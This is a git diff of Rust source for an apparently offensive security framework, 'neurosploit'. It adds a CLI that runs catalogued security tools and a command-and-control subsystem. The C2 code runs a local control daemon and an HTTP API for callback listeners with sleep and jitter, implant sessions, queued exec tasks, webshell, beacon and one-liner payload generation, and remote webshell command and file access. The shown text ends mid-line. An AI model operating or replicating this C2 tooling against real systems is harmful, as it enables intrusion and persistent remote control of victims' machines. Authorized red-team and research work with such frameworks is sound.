b/neurosploit-rs/app/src/toolscli.rs @@ -0,0 +1,411 @@ +//! `neurosploit tools …` — run real security tools from the 200+ catalog and +//! manage MCP tool servers. Thin CLI over `harness::toolbox`, so the CLI, MCP +//! surface, agent loop and web console share one runner and one audit trail. + +use clap::Subcommand; +use serde_json::{json, Value}; + +use harness::toolbox::{ + self, mcp_catalog, ToolRunConfig, ToolSpec, +}; + +#[derive(Subcommand)] +pub enum ToolsCmd { + /// List the toolbox catalog (optionally one category). + List { + #[arg(long)] + category: Option, + #[arg(long)] + json: bool, + }, + /// Search by id/name/binary/tag/description. + Search { + query: String, + #[arg(long)] + json: bool, + }, + /// Show one tool's full descriptor. + Info { + id: String, + #[arg(long)] + json: bool, + }, + /// Check whether tool(s) are installed and report versions. + Check { + id: Option, + /// Check every catalog entry (slow: one `which` per tool). + #[arg(long)] + all: bool, + /// Check inside the Kali sandbox. + #[arg(long, num_args = 0..=1, default_missing_value = "")] + sandbox: Option, + #[arg(long)] + json: bool, + }, + /// Run a catalog tool against a target. + Run { + id: String, + #[arg(long, default_value = "")] + target: String, + /// Override the catalog usage, e.g. '-sV -p 22,80,443'. + #[arg(long, allow_hyphen_values = true)] + args: Option, + /// Run inside the Kali sandbox instead of the host. + #[arg(long, num_args = 0..=1, default_missing_value = "")] + sandbox: Option, + #[arg(long, default_value_t = 300)] + timeout: u64, + #[arg(long)] + json: bool, + }, + /// Install a tool (explicit opt-in, host or sandbox). + Install { + id: String, + #[arg(long, num_args = 0..=1, default_missing_value = "")] + sandbox: Option, + #[arg(long)] + json: bool, + }, + /// Recommended toolchains per engagement mode. + Profiles { + #[arg(long)] + json: bool, + }, + /// MCP tool-server catalog and local configuration. + Mcp { + #[command(subcommand)] + cmd: ToolsMcpCmd, + }, +} + +#[derive(Subcommand)] +pub enum ToolsMcpCmd { + /// List curated MCP servers and which are configured locally. + List { + #[arg(long)] + json: bool, + }, + /// Add a curated MCP server to ./mcp.servers.json (used by --mcp runs). + Add { name: String }, + /// Remove an MCP server from ./mcp.servers.json. + Remove { name: String }, + /// Print the JSON config snippet for an MCP server. + Json { name: String }, + /// Check the server's command/binary (or HTTP URL) without starting a run. + Test { + name: String, + #[arg(long)] + json: bool, + }, + /// Show the local mcp.servers.json path and contents. + Path { + #[arg(long)] + json: bool, + }, +} + +pub async fn handle(cmd: ToolsCmd) -> anyhow::Result<()> { + match cmd { + ToolsCmd::List { category, json } => { + let items: Vec<&ToolSpec> = toolbox::all() + .iter() + .filter(|t| category.as_deref().map(|c| t.category.eq_ignore_ascii_case(c)).unwrap_or(true)) + .collect(); + if json { + print_json(&json!(items)); + } else { + for t in &items { + println!( + "{:<24} {:<10} {:<18} {}", + t.id, t.category, t.binary, t.description + ); + } + println!("\n{} tool(s)", items.len()); + if category.is_none() { + for (c, n) in toolbox::categories() { + println!(" {c:<12} {n}"); + } + } + } + } + ToolsCmd::Search { query, json } => { + let items = toolbox::search(&query); + if json { + print_json(&json!(items)); + } else { + for t in &items { + println!("{:<24} {:<10} {}", t.id, t.category, t.description); + } + println!("\n{} match(es)", items.len()); + } + } + ToolsCmd::Info { id, json } => { + let t = toolbox::find(&id) + .ok_or_else(|| anyhow::anyhow!("unknown tool '{id}' — try `neurosploit tools search {id}`"))?; + if json { + print_json(&json!(t)); + } else { + print_tool(t); + } + } + ToolsCmd::Check { + id, + all, + sandbox, + json, + } => { + let specs: Vec<&ToolSpec> = if all { + toolbox::all().iter().collect() + } else if let Some(id) = id { + vec![toolbox::find(&id).ok_or_else(|| anyhow::anyhow!("unknown tool '{id}'"))?] + } else { + return Err(anyhow::anyhow!("give a tool id or --all")); + }; + let cfg = ToolRunConfig { + sandbox: sandbox.clone(), + ..Default::default() + }; + let mut out = Vec::new(); + for spec in specs { + match toolbox::check(spec, &cfg).await { + Ok(c) => { + if !json { + println!( + "{} {} {}", + if c.installed { "✓" } else { "✗" }, + c.tool, + if c.installed { format!("— {}", c.version) } else { format!("— {}", c.install_hint) } + ); + } + out.push(json!(c)); + } + Err(e) => { + if !json { + println!("✗ {} — {e}", spec.id); + } + out.push(json!({"tool": spec.id, "installed": false, "error": e})); + } + } + } + if json { + print_json(&json!(out)); + } + } + ToolsCmd::Run { + id, + target, + args, + sandbox, + timeout, + json, + } => { + let cfg = ToolRunConfig { + sandbox, + provision: std::env::var("NEUROSPLOIT_PROVISION").ok().as_deref() == Some("1"), + timeout_secs: Some(timeout), + ..Default::default() + }; + let run = toolbox::run(&id, args.as_deref(), &target, &cfg) + .await + .map_err(anyhow::Error::msg)?; + if json { + print_json(&json!(run)); + } else { + println!("$ {}", run.command); + println!( + "{} · exit {} · {} ms{}", + run.name, + run.code, + run.duration_ms, + if run.timed_out { " · TIMED OUT" } else { "" } + ); + if !run.stdout.trim().is_empty() { + println!("--- stdout ---\n{}", run.stdout); + } + if !run.stderr.trim().is_empty() { + println!("--- stderr ---\n{}", run.stderr); + } + } + } + ToolsCmd::Install { id, sandbox, json } => { + let spec = toolbox::find(&id).ok_or_else(|| anyhow::anyhow!("unknown tool '{id}'"))?; + let cfg = ToolRunConfig { + sandbox, + provision: true, + ..Default::default() + }; + let (ok, version) = toolbox::install(spec, &cfg).await.map_err(anyhow::Error::msg)?; + if json { + print_json(&json!({"ok": ok, "tool": spec.id, "version": version})); + } else { + println!("✓ {} installed {version}", spec.id); + } + } + ToolsCmd::Profiles { json } => { + let mut out = Vec::new(); + for mode in ["run", "host", "ad", "cloud", "container", "mobile", "binary", "aitest"] { + let ids = toolbox::mode_plan(mode); + out.push(json!({"mode": mode, "tools": ids})); + if !json { + println!("{mode:<10} {}", ids.join(", ")); + } + } + if json { + print_json(&json!(out)); + } + } + ToolsCmd::Mcp { cmd } => handle_mcp(cmd).await?, + } + Ok(()) +} + +async fn handle_mcp(cmd: ToolsMcpCmd) -> anyhow::Result<()> { + let base = std::env::current_dir().unwrap_or_default(); + match cmd { + ToolsMcpCmd::List { json } => { + let path = mcp_catalog::servers_path(&base); + let configured: Vec = std::fs::read_to_string(&path) + .ok() + .and_then(|s| serde_json::from_str::(&s).ok()) + .map(|v| { + let obj = v.get("mcpServers").cloned().unwrap_or(v); + obj.as_object().map(|o| o.keys().cloned().collect()).unwrap_or_default() + }) + .unwrap_or_default(); + let mut out = Vec::new(); + for s in mcp_catalog::all() { + out.push(json!({ + "name": s.name, + "description": s.description, + "transport": s.transport, + "command": s.command, + "args": s.args, + "url": s.url, + "configured": configured.iter().any(|c| c == &s.name), + "install": s.install, + "notes": s.notes, + })); + } + if json { + print_json(&json!({"servers": out, "config": path})); + } else { + println!("MCP servers (config: {})", path.display()); + for v in &out { + println!( + "{} {:<12} {:<6} {}{}", + if v["configured"].as_bool().unwrap_or(false) { "✓" } else { "·" }, + v["name"].as_str().unwrap_or(""), + v["transport"].as_str().unwrap_or(""), + v["description"].as_str().unwrap_or(""), + if v["configured"].as_bool().unwrap_or(false) { " [configured]" } else { "" } + ); + } + println!("\nAdd with: neurosploit tools mcp add nmap"); + } + } + ToolsMcpCmd::Add { name } => { + let path = mcp_catalog::add_to_file(&base, &name).map_err(anyhow::Error::msg)?; + println!("✓ {name} added to {}", path.display()); + println!(" Next run: neurosploit run --subscription --mcp --model "); + } + ToolsMcpCmd::Remove { name } => { + let removed = mcp_catalog::remove_from_file(&base, &name).map_err(anyhow::Error::msg)?; + println!("{} {name}", if removed { "✓ removed" } else { "· not configured:" }); + } + ToolsMcpCmd::Json { name } => { + let spec = mcp_catalog::find(&name) + .ok_or_else(|| anyhow::anyhow!("unknown MCP server '{name}'"))?; + print_json(&json!({ "mcpServers": { spec.name.clone(): spec.config() } })); + } + ToolsMcpCmd::Test { name, json } => { + let spec = mcp_catalog::find(&name) + .ok_or_else(|| anyhow::anyhow!("unknown MCP server '{name}'"))?; + let (ok, detail) = test_mcp(&spec).await; + if json { + print_json(&json!({"ok": ok, "server": spec.name, "detail": detail})); + } else { + println!("{} {} — {}", if ok { "✓" } else { "✗" }, spec.name, detail); + } + } + ToolsMcpCmd::Path { json } => { + let path = mcp_catalog::servers_path(&base); + let body = std::fs::read_to_string(&path).unwrap_or_else(|_| "{}".into()); + if json { + print_json(&json!({"path": path, "content": body})); + } else { + println!("{}", path.display()); + println!("{body}"); + } + } + } + Ok(()) +} + +async fn test_mcp(spec: &mcp_catalog::McpServerSpec) -> (bool, String) { + if spec.transport == "http" { + let client = match reqwest::Client::builder().timeout(std::time::Duration::from_secs(4)).build() { + Ok(c) => c, + Err(e) => return (false, e.to_string()), + }; + return match client.get(&spec.url).send().await { + Ok(r) => (r.status().is_success() || r.status().is_client_error(), format!("HTTP {}", r.status())), + Err(e) => (false, format!("{}: {e}", spec.url)), + }; + } + if spec.command.trim().is_empty() { + return (false, "no command configured (edit mcp.servers.json)".into()); + } + let found = tokio::process::Command::new("which") + .arg(&spec.command) + .output() + .await + .map(|o| o.status.success()) + .unwrap_or(false); + if found { + (true, format!("{} found on PATH", spec.command)) + } else { + ( + false, + format!( + "{} not found — {}", + spec.command, + spec.install + .iter() + .next() + .map(|(k, v)| format!("{k}: {v}")) + .unwrap_or_else(|| "install it manually".into()) + ), + ) + } +} + +fn print_tool(t: &ToolSpec) { + println!("{} — {}", t.id, t.name); + println!(" category : {}", t.category); + println!(" binary : {}", t.binary); + println!(" usage : {}", t.usage); + println!(" tags : {}", t.tags.join(", ")); + if t.intrusive { + println!(" intrusive: yes — actively probes the target"); + } + if t.requires_root { + println!(" root : may require root/CAP_NET_RAW"); + } + if let Some(m) = &t.mcp { + println!(" mcp : {m}"); + } + if t.install.is_empty() { + println!(" install : manual (put `{}` on PATH)", t.binary); + } else { + for (k, v) in &t.install { + println!(" install : {k}: {v}"); + } + } +} + +fn print_json(v: &Value) { + println!( + "{}", + serde_json::to_string_pretty(v).unwrap_or_else(|_| "{}".into()) + ); +} diff --git a/neurosploit-rs/crates/harness/src/c2/client.rs b/neurosploit-rs/crates/harness/src/c2/client.rs new file mode 100644 index 0000000..0071aed --- /dev/null +++ b/neurosploit-rs/crates/harness/src/c2/client.rs @@ -0,0 +1,147 @@ +use std::io::Write; +use std::path::Path; +use std::time::Duration; + +use serde::{Deserialize, Serialize}; +use serde_json::Value; + +use super::c2_dir; + +#[derive(Serialize, Deserialize)] +struct ControlInfo { + port: u16, + token: String, + pid: u32, + started_at: i64, +} + +fn control_path(dir: &Path) -> std::path::PathBuf { + dir.join("control.json") +} + +fn read_control(dir: &Path) -> Option { + let bytes = std::fs::read(control_path(dir)).ok()?; + serde_json::from_slice(&bytes).ok() +} + +async fn ping(port: u16) -> bool { + let client = match reqwest::Client::builder() + .timeout(Duration::from_millis(700)) + .build() + { + Ok(c) => c, + Err(_) => return false, + }; + matches!( + client + .get(format!("http://127.0.0.1:{port}/health")) + .send() + .await, + Ok(r) if r.status().is_success() + ) +} + +/// Ensure the control daemon is running, starting it detached if needed. +pub async fn ensure_daemon() -> Result<(u16, String), String> { + let dir = c2_dir(); + if let Some(info) = read_control(&dir) { + if ping(info.port).await { + return Ok((info.port, info.token)); + } + } + std::fs::create_dir_all(&dir).map_err(|e| format!("create {}: {e}", dir.display()))?; + let lock = dir.join("daemon.lock"); + let mut waited = 0; + loop { + match std::fs::OpenOptions::new() + .write(true) + .create_new(true) + .open(&lock) + { + Ok(mut f) => { + let _ = writeln!(f, "{}", std::process::id()); + break; + } + Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => { + if let Some(info) = read_control(&dir) { + if ping(info.port).await { + let _ = std::fs::remove_file(&lock); + return Ok((info.port, info.token)); + } + } + waited += 1; + if waited > 40 { + let _ = std::fs::remove_file(&lock); + waited = 0; + } + tokio::time::sleep(Duration::from_millis(150)).await; + } + Err(e) => return Err(format!("cannot lock daemon startup: {e}")), + } + } + let exe = std::env::current_exe().map_err(|e| format!("current exe: {e}"))?; + let mut cmd = std::process::Command::new(exe); + cmd.arg("c2") + .arg("daemon") + .arg("--port") + .arg("0") + .arg("--dir") + .arg(&dir) + .stdin(std::process::Stdio::null()) + .stdout(std::process::Stdio::null()) + .stderr(std::process::Stdio::null()); + cmd.spawn().map_err(|e| format!("start C2 daemon: {e}"))?; + for _ in 0..80 { + if let Some(info) = read_control(&dir) { + if ping(info.port).await { + let _ = std::fs::remove_file(&lock); + return Ok((info.port, info.token)); + } + } + tokio::time::sleep(Duration::from_millis(150)).await; + } + let _ = std::fs::remove_file(&lock); + Err("C2 daemon did not start in time".into()) +} + +/// Authenticated call against the local control API. +pub async fn control_request( + method: &str, + path: &str, + body: Option, +) -> Result { + let (port, token) = ensure_daemon().await?; + let client = reqwest::Client::builder() + .timeout(Duration::from_secs(120)) + .build() + .map_err(|e| e.to_string())?; + let url = format!("http://127.0.0.1:{port}{path}"); + let mut req = match method { + "GET" => client.get(url), + "POST" => client.post(url), + "PUT" => client.put(url), + "DELETE" => client.delete(url), + _ => client.get(url), + } + .header("X-Control-Token", &token); + if let Some(b) = body { + req = req.json(&b); + } + let resp = req + .send() + .await + .map_err(|e| format!("control daemon: {e}"))?; + let status = resp.status(); + let v: Value = resp + .json() + .await + .map_err(|e| format!("control daemon response: {e}"))?; + if !status.is_success() { + let msg = v + .get("error") + .and_then(|e| e.as_str()) + .unwrap_or("request failed"); + return Err(msg.to_string()); + } + Ok(v) +} diff --git a/neurosploit-rs/crates/harness/src/c2/daemon.rs b/neurosploit-rs/crates/harness/src/c2/daemon.rs new file mode 100644 index 0000000..f3f2da5 --- /dev/null +++ b/neurosploit-rs/crates/harness/src/c2/daemon.rs @@ -0,0 +1,515 @@ +use std::path::PathBuf; +use std::sync::Arc; +use std::time::Duration; + +use serde::{Deserialize, Serialize}; +use serde_json::json; +use tokio::net::TcpListener; + +use super::http::{serve_http, BoxFut, HttpRequest, HttpResponse}; +use super::manager::C2Manager; +use super::store::write_private; +use super::types::{Session, Task}; +use super::{now_ms, random_token}; + +#[derive(Serialize, Deserialize)] +struct ControlInfo { + port: u16, + token: String, + pid: u32, + started_at: i64, +} + +/// Run the local control daemon. The CLI starts this automatically on demand. +pub async fn run_daemon(dir: PathBuf, port: u16) -> anyhow::Result<()> { + let manager = C2Manager::open(dir.clone()).await?; + manager.restore_listeners().await; + let tcp = TcpListener::bind(("127.0.0.1", port)).await?; + let addr = tcp.local_addr()?; + let token = random_token(); + let info = ControlInfo { + port: addr.port(), + token: token.clone(), + pid: std::process::id(), + started_at: now_ms(), + }; + write_private( + &dir.join("control.json"), + &serde_json::to_vec_pretty(&info)?, + )?; + eprintln!( + "[c2] control daemon listening on 127.0.0.1:{} (dir {})", + addr.port(), + dir.display() + ); + + let handler: Arc BoxFut + Send + Sync> = { + let mgr = manager.clone(); + let token = token.clone(); + Arc::new(move |req: HttpRequest| { + let mgr = mgr.clone(); + let token = token.clone(); + Box::pin(async move { handle_control(mgr, &token, req).await }) as BoxFut + }) + }; + serve_http(tcp, handler).await?; + Ok(()) +} + +async fn handle_control(mgr: Arc, token: &str, req: HttpRequest) -> HttpResponse { + let path = req.path.trim_end_matches('/'); + if path == "/health" { + return HttpResponse::json( + 200, + &json!({"ok": true, "service": "neurosploit-c2", "pid": std::process::id()}), + ); + } + let provided = req + .header("x-control-token") + .or_else(|| { + req.header("authorization") + .and_then(|v| v.strip_prefix("Bearer ")) + }) + .unwrap_or(""); + if provided != token { + return HttpResponse::json(401, &json!({"ok": false, "error": "invalid control token"})); + } + mgr.reconcile().await; + + let segs: Vec<&str> = path + .trim_start_matches('/') + .split('/') + .filter(|s| !s.is_empty()) + .collect(); + let method = req.method.as_str(); + + if method == "GET" && path == "/api/status" { + let state = mgr.snapshot().await; + return HttpResponse::json( + 200, + &json!({ + "ok": true, + "policy": state.policy, + "listeners": state.listeners.iter().map(|l| l.safe()).collect::>(), + "sessions": state.sessions, + "webshells": state.webshells.iter().map(|w| w.safe()).collect::>(), + "tasks": state.tasks, + "events": state.events.iter().rev().take(100).cloned().collect::>(), + "payloads": state.payloads, + "counts": { + "listeners": state.listeners.len(), + "sessions_active": state.sessions.iter().filter(|s| s.status == "active").count(), + "sessions_total": state.sessions.len(), + "tasks_queued": state.tasks.iter().filter(|t| t.status == "queued" || t.status == "sent").count(), + "webshells": state.webshells.len(), + }, + }), + ); + } + + if path == "/api/policy" && (method == "POST" || method == "PUT") { + let body = req.json().unwrap_or_else(|| json!({})); + return match mgr.set_policy(&body).await { + Ok(p) => HttpResponse::json(200, &json!({"ok": true, "policy": p})), + Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})), + }; + } + if path == "/api/enable" && method == "POST" { + let b = req.json().unwrap_or_else(|| json!({})); + let auth = b + .get("authorization") + .and_then(|v| v.as_str()) + .unwrap_or(""); + let hosts: Vec = b + .get("hosts") + .or_else(|| b.get("allowed_hosts")) + .and_then(|v| v.as_array()) + .map(|a| { + a.iter() + .filter_map(|v| v.as_str()) + .map(|s| s.to_string()) + .collect() + }) + .unwrap_or_default(); + return match mgr + .enable_policy( + auth, + b.get("persistence").and_then(|v| v.as_bool()).unwrap_or(false), + b.get("lateral").and_then(|v| v.as_bool()).unwrap_or(false), + b.get("allow_public").and_then(|v| v.as_bool()).unwrap_or(false), + &hosts, + ) + .await + { + Ok(p) => HttpResponse::json(200, &json!({"ok": true, "policy": p})), + Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})), + }; + } + if path == "/api/disable" && method == "POST" { + let p = mgr.disable().await; + return HttpResponse::json(200, &json!({"ok": true, "policy": p})); + } + + if segs.starts_with(&["api", "listeners"]) { + return handle_listeners(&mgr, &segs, method, &req).await; + } + if segs.starts_with(&["api", "sessions"]) { + return handle_sessions(&mgr, &segs, method, &req).await; + } + if segs.starts_with(&["api", "tasks"]) { + return handle_tasks(&mgr, &segs, method, &req).await; + } + if segs.starts_with(&["api", "events"]) && method == "GET" { + let limit = req + .query + .get("limit") + .and_then(|v| v.parse::().ok()) + .unwrap_or(100); + let ev = mgr.events(limit).await; + return HttpResponse::json(200, &json!({"ok": true, "events": ev})); + } + if segs.starts_with(&["api", "payloads"]) { + return handle_payloads(&mgr, &segs, method, &req).await; + } + if segs.starts_with(&["api", "webshells"]) { + return handle_webshells(&mgr, &segs, method, &req).await; + } + HttpResponse::json(404, &json!({"ok": false, "error": "not found"})) +} + +async fn handle_listeners( + mgr: &Arc, + segs: &[&str], + method: &str, + req: &HttpRequest, +) -> HttpResponse { + match (method, segs.len()) { + ("GET", 2) => { + let state = mgr.snapshot().await; + HttpResponse::json( + 200, + &json!({"ok": true, "listeners": state.listeners.iter().map(|l| l.safe()).collect::>()}), + ) + } + ("POST", 2) => { + let b = req.json().unwrap_or_else(|| json!({})); + let s = |k: &str| b.get(k).and_then(|v| v.as_str()).unwrap_or(""); + match mgr + .create_listener( + s("name"), + s("bind_host"), + b.get("bind_port").and_then(|v| v.as_u64()).unwrap_or(8443) as u16, + s("callback_host"), + b.get("sleep_seconds").and_then(|v| v.as_u64()).unwrap_or(5) as u32, + b.get("jitter_percent").and_then(|v| v.as_u64()).unwrap_or(0) as u32, + ) + .await + { + Ok(l) => HttpResponse::json(200, &json!({"ok": true, "listener": l})), + Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})), + } + } + ("POST", 4) if segs[3] == "start" => match mgr.start_listener(segs[2]).await { + Ok(l) => HttpResponse::json(200, &json!({"ok": true, "listener": l})), + Err(e) => HttpResponse::json(409, &json!({"ok": false, "error": e})), + }, + ("POST", 4) if segs[3] == "stop" => match mgr.stop_listener(segs[2]).await { + Ok(()) => HttpResponse::json(200, &json!({"ok": true})), + Err(e) => HttpResponse::json(409, &json!({"ok": false, "error": e})), + }, + ("DELETE", 3) => match mgr.delete_listener(segs[2]).await { + Ok(()) => HttpResponse::json(200, &json!({"ok": true})), + Err(e) => HttpResponse::json(404, &json!({"ok": false, "error": e})), + }, + _ => HttpResponse::json(405, &json!({"ok": false, "error": "method not allowed"})), + } +} + +async fn handle_sessions( + mgr: &Arc, + segs: &[&str], + method: &str, + req: &HttpRequest, +) -> HttpResponse { + match (method, segs.len()) { + ("GET", 2) => { + let state = mgr.snapshot().await; + HttpResponse::json(200, &json!({"ok": true, "sessions": state.sessions})) + } + ("GET", 3) => match state_session(mgr, segs[2]).await { + Some(s) => HttpResponse::json(200, &json!({"ok": true, "session": s})), + None => HttpResponse::json(404, &json!({"ok": false, "error": "session not found"})), + }, + ("POST", 4) if segs[3] == "sleep" => { + let b = req.json().unwrap_or_else(|| json!({})); + let secs = b.get("seconds").and_then(|v| v.as_u64()).unwrap_or(5) as u32; + let jitter = b.get("jitter").and_then(|v| v.as_u64()).unwrap_or(0) as u32; + match mgr.set_session_sleep(segs[2], secs, jitter).await { + Ok(t) => HttpResponse::json(200, &json!({"ok": true, "task": t})), + Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})), + } + } + ("POST", 4) if segs[3] == "note" => { + let b = req.json().unwrap_or_else(|| json!({})); + let note = b.get("note").and_then(|v| v.as_str()).unwrap_or(""); + match mgr.set_session_note(segs[2], note).await { + Ok(()) => HttpResponse::json(200, &json!({"ok": true})), + Err(e) => HttpResponse::json(404, &json!({"ok": false, "error": e})), + } + } + ("POST", 4) if segs[3] == "tasks" => { + let b = req.json().unwrap_or_else(|| json!({})); + let task_type = b + .get("task_type") + .and_then(|v| v.as_str()) + .unwrap_or("exec"); + let payload = b.get("payload").cloned().unwrap_or_else(|| json!({})); + match mgr.enqueue(segs[2], task_type, payload, "web").await { + Ok(t) => HttpResponse::json(200, &json!({"ok": true, "task": t})), + Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})), + } + } + ("DELETE", 3) => match mgr.kill_session(segs[2]).await { + Ok(()) => HttpResponse::json(200, &json!({"ok": true})), + Err(e) => HttpResponse::json(404, &json!({"ok": false, "error": e})), + }, + _ => HttpResponse::json(405, &json!({"ok": false, "error": "method not allowed"})), + } +} + +async fn state_session(mgr: &Arc, id: &str) -> Option { + mgr.snapshot() + .await + .sessions + .into_iter() + .find(|s| s.id == id) +} + +async fn handle_tasks( + mgr: &Arc, + segs: &[&str], + method: &str, + req: &HttpRequest, +) -> HttpResponse { + match (method, segs.len()) { + ("GET", 2) => { + let state = mgr.snapshot().await; + let session = req.query.get("session_id").cloned().unwrap_or_default(); + let status = req.query.get("status").cloned().unwrap_or_default(); + let tasks: Vec = state + .tasks + .into_iter() + .filter(|t| { + (session.is_empty() || t.session_id == session) + && (status.is_empty() || t.status == status) + }) + .collect(); + HttpResponse::json(200, &json!({"ok": true, "tasks": tasks})) + } + ("POST", 2) => { + let b = req.json().unwrap_or_else(|| json!({})); + let session = b + .get("session_id") + .and_then(|v| v.as_str()) + .unwrap_or(""); + let task_type = b + .get("task_type") + .and_then(|v| v.as_str()) + .unwrap_or("exec"); + let payload = b.get("payload").cloned().unwrap_or_else(|| json!({})); + let source = b.get("source").and_then(|v| v.as_str()).unwrap_or("web"); + match mgr.enqueue(session, task_type, payload, source).await { + Ok(t) => HttpResponse::json(200, &json!({"ok": true, "task": t})), + Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})), + } + } + ("GET", 3) => match mgr.task(segs[2]).await { + Some(t) => HttpResponse::json(200, &json!({"ok": true, "task": t})), + None => HttpResponse::json(404, &json!({"ok": false, "error": "task not found"})), + }, + ("POST", 4) if segs[3] == "cancel" => match mgr.cancel_task(segs[2]).await { + Ok(()) => HttpResponse::json(200, &json!({"ok": true})), + Err(e) => HttpResponse::json(409, &json!({"ok": false, "error": e})), + }, + ("GET", 4) if segs[3] == "wait" => { + let timeout = req + .query + .get("timeout") + .and_then(|v| v.parse::().ok()) + .unwrap_or(60); + match mgr + .wait_task(segs[2], Duration::from_secs(timeout.min(900))) + .await + { + Ok(t) => HttpResponse::json(200, &json!({"ok": true, "task": t})), + Err(e) => HttpResponse::json(404, &json!({"ok": false, "error": e})), + } + } + _ => HttpResponse::json(405, &json!({"ok": false, "error": "method not allowed"})), + } +} + +async fn handle_payloads( + mgr: &Arc, + segs: &[&str], + method: &str, + req: &HttpRequest, +) -> HttpResponse { + if method == "GET" && segs.len() == 2 { + let state = mgr.snapshot().await; + return HttpResponse::json(200, &json!({"ok": true, "payloads": state.payloads})); + } + if method == "GET" && segs.len() == 3 { + return match mgr.payload_path(segs[2]) { + Some(p) => match std::fs::read(&p) { + Ok(bytes) => HttpResponse { + status: 200, + content_type: "application/octet-stream".into(), + body: bytes, + }, + Err(e) => HttpResponse::json(500, &json!({"ok": false, "error": e.to_string()})), + }, + None => HttpResponse::json(404, &json!({"ok": false, "error": "payload not found"})), + }; + } + if method != "POST" || segs.len() != 3 { + return HttpResponse::json(405, &json!({"ok": false, "error": "method not allowed"})); + } + let b = req.json().unwrap_or_else(|| json!({})); + let s = |k: &str| b.get(k).and_then(|v| v.as_str()); + match segs[2] { + "webshell" => match mgr + .payload_webshell( + s("shell_type").unwrap_or("php"), + s("password").unwrap_or(""), + s("pass_param").unwrap_or("pass"), + s("cmd_param").unwrap_or("cmd"), + s("filename"), + ) + .await + { + Ok(v) => HttpResponse::json(200, &v), + Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})), + }, + "beacon" => { + let Some(listener) = s("listener_id") else { + return HttpResponse::json( + 400, + &json!({"ok": false, "error": "listener_id is required"}), + ); + }; + match mgr + .payload_beacon( + listener, + s("kind").unwrap_or("bash"), + s("host"), + s("filename"), + ) + .await + { + Ok(v) => HttpResponse::json(200, &v), + Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})), + } + } + "oneliner" => { + let Some(listener) = s("listener_id") else { + return HttpResponse::json( + 400, + &json!({"ok": false, "error": "listener_id is required"}), + ); + }; + match mgr.payload_oneliner(listener).await { + Ok(v) => HttpResponse::json(200, &v), + Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})), + } + } + other => HttpResponse::json( + 404, + &json!({"ok": false, "error": format!("unknown payload kind '{other}'")}), + ), + } +} + +async fn handle_webshells( + mgr: &Arc, + segs: &[&str], + method: &str, + req: &HttpRequest, +) -> HttpResponse { + match (method, segs.len()) { + ("GET", 2) => { + let state = mgr.snapshot().await; + HttpResponse::json( + 200, + &json!({"ok": true, "webshells": state.webshells.iter().map(|w| w.safe()).collect::>()}), + ) + } + ("POST", 2) => { + let b = req.json().unwrap_or_else(|| json!({})); + let s = |k: &str| b.get(k).and_then(|v| v.as_str()).unwrap_or(""); + match mgr + .add_webshell( + s("name"), + s("url"), + s("password"), + s("shell_type"), + s("method"), + s("cmd_param"), + s("pass_param"), + s("encoding"), + s("os"), + s("note"), + ) + .await + { + Ok(c) => { + HttpResponse::json(200, &json!({"ok": true, "webshell": c.safe()})) + } + Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})), + } + } + ("PUT", 3) | ("PATCH", 3) => { + let b = req.json().unwrap_or_else(|| json!({})); + match mgr.update_webshell(segs[2], &b).await { + Ok(c) => { + HttpResponse::json(200, &json!({"ok": true, "webshell": c.safe()})) + } + Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})), + } + } + ("DELETE", 3) => match mgr.delete_webshell(segs[2]).await { + Ok(()) => HttpResponse::json(200, &json!({"ok": true})), + Err(e) => HttpResponse::json(404, &json!({"ok": false, "error": e})), + }, + ("POST", 4) if segs[3] == "test" => match mgr.webshell_test(segs[2]).await { + Ok(v) => HttpResponse::json(200, &v), + Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})), + }, + ("POST", 4) if segs[3] == "exec" => { + let b = req.json().unwrap_or_else(|| json!({})); + let cmd = b.get("command").and_then(|v| v.as_str()).unwrap_or(""); + match mgr.webshell_exec(segs[2], cmd).await { + Ok(v) => HttpResponse::json(200, &v), + Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})), + } + } + ("POST", 4) if segs[3] == "file" => { + let b = req.json().unwrap_or_else(|| json!({})); + let s = |k: &str| b.get(k).and_then(|v| v.as_str()); + match mgr + .webshell_file( + segs[2], + s("action").unwrap_or("list"), + s("path").unwrap_or("."), + s("content"), + s("target_path"), + ) + .await + { + Ok(v) => HttpResponse::json(200, &v), + Err(e) => HttpResponse::json(400, &json!({"ok": false, "error": e})), + } + } + _ => HttpResponse::json(405, &json!({"ok": false, "error": "method not allowed"})), + } +} diff --git a/neurosploit-rs/crates/harness/src/c2/http.rs b/neurosploit-rs/crates/harness/src/c2/http.rs new file mode 100644 index 0000000..bfa95ab --- /dev/null +++ b/neurosploit-rs/crates/harness/src/c2/http.rs @@ -0,0 +1,265 @@ +use std::collections::BTreeMap; +use std::future::Future; +use std::pin::Pin; +use std::sync::Arc; +use std::time::Duration; + +use serde_json::Value; +use tokio::io::{AsyncReadExt, AsyncWriteExt}; +use tokio::net::TcpListener; + +use super::BODY_CAP; + +pub(crate) struct HttpRequest { + pub method: String, + pub path: String, + pub query: BTreeMap, + pub headers: BTreeMap, + pub body: Vec, +} + +impl HttpRequest { + pub fn header(&self, name: &str) -> Option<&str> { + self.headers + .get(&name.to_ascii_lowercase()) + .map(|s| s.as_str()) + } + + pub fn json(&self) -> Option { + serde_json::from_slice(&self.body).ok() + } + + pub fn form(&self) -> BTreeMap { + let mut out = BTreeMap::new(); + for pair in String::from_utf8_lossy(&self.body).split('&') { + if let Some((k, v)) = pair.split_once('=') { + out.insert(percent_decode(k), percent_decode(v)); + } + } + out + } +} + +pub(crate) struct HttpResponse { + pub status: u16, + pub content_type: String, + pub body: Vec, +} + +impl HttpResponse { + pub fn json(status: u16, v: &Value) -> Self { + Self { + status, + content_type: "application/json".into(), + body: serde_json::to_vec(v).unwrap_or_else(|_| b"{}".to_vec()), + } + } + + pub fn text(status: u16, s: impl Into) -> Self { + Self { + status, + content_type: "text/plain; charset=utf-8".into(), + body: s.into().into_bytes(), + } + } +} + +pub(crate) type BoxFut = Pin + 